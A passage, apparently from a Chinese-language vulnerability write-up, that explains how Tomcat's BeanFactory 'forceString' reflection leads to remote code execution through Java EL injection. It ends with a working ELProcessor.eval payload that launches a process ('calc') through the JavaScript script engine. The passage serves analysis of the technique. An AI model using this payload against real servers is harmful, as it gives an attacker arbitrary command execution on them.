} while(propName.equals("auth"));
} while(propName.equals("forceString"));
} while(propName.equals("singleton"));
value = (String)ra.getContent();
Object[] valueArray = new Object[1];
Method method = (Method)forced.get(propName);
if (method != null) {
valueArray[0] = value;
}
参数如下:
最终通过el注入实现RCE,反射执行的语句可以整理为如下:
(new ELProcessor()).eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new
java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")");
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